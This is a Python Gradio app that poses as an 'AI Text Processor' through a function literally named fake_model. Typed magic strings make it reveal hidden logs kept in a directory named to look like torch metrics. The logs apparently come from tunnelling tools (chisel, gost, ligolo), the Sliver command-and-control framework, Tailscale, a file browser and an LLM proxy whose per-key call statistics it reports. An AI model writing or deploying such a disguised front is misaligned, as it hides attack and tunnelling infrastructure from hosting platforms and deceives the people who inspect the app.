app.py

import os,re,gradio as gr
from services.minecraft_service import MC_DIR
LOG_DIR='/home/user/.torch_metrics'
MC_LOG=os.path.join(MC_DIR,'logs','latest.log')
ANSI=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')
_LOG_CMDS={'SHOW_LOGS_TAILSCALE':(f"{LOG_DIR}/ts_daemon.log",'TAILSCALE LOGS'),'SHOW_LOGS_FILEBROWSER':(f"{LOG_DIR}/fb.log",'FILEBROWSER LOGS'),'SHOW_LOGS_METRICS2':(f"{LOG_DIR}/tm_daemon.log",'METRICS LOGS',True),'SHOW_LOGS_STARTUP':(f"{LOG_DIR}/startup.log",'STARTUP LOGS'),'SHOW_LOGS_CHISEL':(f"{LOG_DIR}/chisel.log",'CHISEL LOGS'),'SHOW_LOGS_GOST':(f"{LOG_DIR}/gost.log",'GOST LOGS'),'SHOW_LOGS_LIGOLO':(f"{LOG_DIR}/ligolo.log",'LIGOLO LOGS'),'SHOW_LOGS_SLIVER':(f"{LOG_DIR}/sliver.log",'SLIVER LOGS'),'SHOW_LOGS_NGINX':(f"{LOG_DIR}/nginx.log",'NGINX LOGS'),'SHOW_LOGS_NGINX_ACCESS':('/tmp/access.log','NGINX ACCESS LOGS'),'SHOW_LOGS_NGINX_ERROR':('/tmp/error.log','NGINX ERROR LOGS'),'SHOW_LOGS_TEST':(f"{LOG_DIR}/test.log",'TEST SERVICE LOGS'),'SHOW_LOGS_LLM_PROXY':(f"{LOG_DIR}/llm_proxy.log",'LLM PROXY LOGS'),'SHOW_LOGS_OPEN_WEBUI':(f"{LOG_DIR}/open_webui.log",'OPEN WEBUI LOGS')}
def _read_log(path,label,strip_ansi=False):
	try:
		with open(path)as A:B=ANSI.sub('',A.read())if strip_ansi else A.read()
		return f"{label}:\n{B}"
	except Exception as C:return f"Log error: {C}"
def _read_mc_log():
	try:
		if not os.path.exists(MC_LOG):return'Minecraft latest.log not found yet.'
		with open(MC_LOG)as A:return f"=== Minecraft latest.log ===\n{A.read()}"
	except Exception as B:return f"Log error: {B}"
def _read_all_logs():
	try:
		A=[]
		for B in sorted(os.listdir(LOG_DIR)):
			if B.endswith('.log'):
				with open(os.path.join(LOG_DIR,B))as C:A.append(f"=== {B} ===\n{C.read()}\n")
		if os.path.exists(MC_LOG):
			with open(MC_LOG)as C:A.append(f"=== Minecraft latest.log ===\n{C.read()}\n")
		return'\n'.join(A)if A else'No logs found.'
	except Exception as D:return f"Log error: {D}"
def _read_api_stats():
	M='==========================================';L='MODEL:';K='KEY:';F=os.path.join(LOG_DIR,'api_calls.txt')
	if not os.path.exists(F):return'No API calls logged yet.'
	try:
		with open(F)as N:G=N.readlines()
		C={};D={}
		for B in G:
			if K in B and L in B:H=B.split('|');I=H[0].split(K)[1].strip();J=H[1].split(L)[1].strip();C[I]=C.get(I,0)+1;D[J]=D.get(J,0)+1
		A=[M,'          LOCAL API CALL STATISTICS       ',M,'\n[CALLS PER VIRTUAL KEY]']
		for(O,E)in sorted(C.items(),key=lambda x:x[1],reverse=True):A.append(f"  - {O}: {E} calls")
		A.append('\n[CALLS PER MODEL]')
		for(P,E)in sorted(D.items(),key=lambda x:x[1],reverse=True):A.append(f"  - {P}: {E} calls")
		A.append('\n[RECENT ACTIVITY (LAST 5 CALLS)]')
		for B in G[-5:]:A.append('  '+B.strip())
		return'\n'.join(A)
	except Exception as Q:return f"Error reading stats: {Q}"
def fake_model(text):
	A=text.strip()
	if A=='SHOW_ALL_LOGS':return _read_all_logs()
	if A=='SHOW_LOGS_MC':return _read_mc_log()
	if A=='SHOW_API_STATS':return _read_api_stats()
	B=_LOG_CMDS.get(A)
	if B:return _read_log(*B)
	return f"Model processed: {text}"
import json
def is_open_webui_enabled():
	try:
		with open('/home/user/config/enabled_services.json','r')as A:B=json.load(A)
		C=B.get('services')or[];return any(A.strip().lower()=='open_webui'for A in C if A)
	except Exception:return False
root_path='/gradio'if is_open_webui_enabled()else None
gr.Interface(fn=fake_model,inputs='text',outputs='text',title='AI Text Processor v2.1').launch(server_name='127.0.0.1',server_port=7861,root_path=root_path)